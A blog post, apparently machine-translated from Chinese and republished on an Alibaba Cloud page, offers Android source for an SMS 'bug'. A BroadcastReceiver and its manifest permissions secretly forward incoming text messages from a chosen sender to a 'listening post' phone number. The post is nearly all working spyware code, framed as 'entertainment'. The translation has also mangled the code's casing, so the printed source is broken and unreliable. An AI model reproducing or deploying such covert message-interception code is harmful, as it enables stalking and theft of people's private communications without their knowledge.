Android SMS Bug, entertainment version, the effect can be achieved

Source: Internet
Author: User
Tags dateformat


No more nonsense. Directly on the code:

650) this.width=650; "src=" Http://img.baidu.com/hi/jx2/j_0013.gif "alt=" J_0013.gif "/>

Package com.qiao.service;

Import Java.text.SimpleDateFormat;
Import java.util.ArrayList;
Import Java.util.Date;

Import Android.content.BroadcastReceiver;
Import Android.content.Context;
Import android.content.Intent;
Import Android.telephony.SmsManager;
Import Android.telephony.SmsMessage;
/**
* Note is purely entertainment, do not blind, and other mobile phone equipped with the guardian of the software will happen to intercept
* @author Administrator
*
*/
public class Mysmsservice extends broadcastreceiver{

@Override
public void OnReceive (context context, Intent Intent) {
Get SMS Entity Content
Object [] PDUs = (object[]) Intent.getextras (). Get ("PDUs");
Iterate SMS Content
For (Object PDU:p dus) {
Composing the parts of a text message
Smsmessage message= SMSMESSAGE.CREATEFROMPDU ((byte[]) PDU);
Get SMS Sender
String sender = Message.getoriginatingaddress ();
Get SMS Content
String content =message.getmessagebody ();
Date date = new Date (Message.gettimestampmillis ());
SimpleDateFormat DateFormat = new SimpleDateFormat ("Yyyy-mm-dd-hh:mm:ss");
String time =dateformat.format (date);
Handling the messages you hear
Sendsms (Sender,content,time);
}
}

private void Sendsms (string sender, string content, string time) {

if ("Fill in the phone number and send the message" here. Equals (sender)) {
Smsmanager manager = Smsmanager.getdefault ();

arraylist<string> texts = manager.dividemessage (content);
for (String text:texts) {
Manager.sendtextmessage ("Fill in the listening post to whom you need to send the phone number", NULL, "Time +" + Time
+ "" + text, NULL, NULL);
}
}
}

}


The following are the mainfest inside the permissions:

650) this.width=650; "src=" Http://img.baidu.com/hi/jx2/j_0013.gif "alt=" J_0013.gif "/>


<?xml version= "1.0" encoding= "Utf-8"?>
<manifest xmlns:android= "Http://schemas.android.com/apk/res/android"
Package= "Com.qiao.smsreceiver"
Android:versioncode= "1"
Android:versionname= "1.0" >

<uses-sdk
android:minsdkversion= "14"
Android:targetsdkversion= "/>"
<uses-permission android:name= "Android.permission.RECEIVE_SMS"/>
<uses-permission android:name= "Android.permission.SEND_SMS"/>

<application
Android:allowbackup= "true"
android:icon= "@drawable/ic_launcher"
Android:label= "@string/app_name"
Android:theme= "@style/apptheme" >
<activity
Android:name= "Com.qiao.smsreceiver.MainActivity"
Android:label= "@string/app_name" >
<intent-filter>
<action android:name= "Android.intent.action.MAIN"/>

<category android:name= "Android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>

<!--SMS Radio receivers--
<receiver android:name= "Com.qiao.service.MySmsService" >
<intent-filter >
<action android:name= "Android.provider.Telephony.SMS_RECEIVED"/>
<action android:name= "Android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>

</manifest>


This article is from the "Off the Fall" blog, please be sure to keep this source http://120476536.blog.51cto.com/2861641/1546220

Android SMS Bug, entertainment version, the effect can be achieved

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.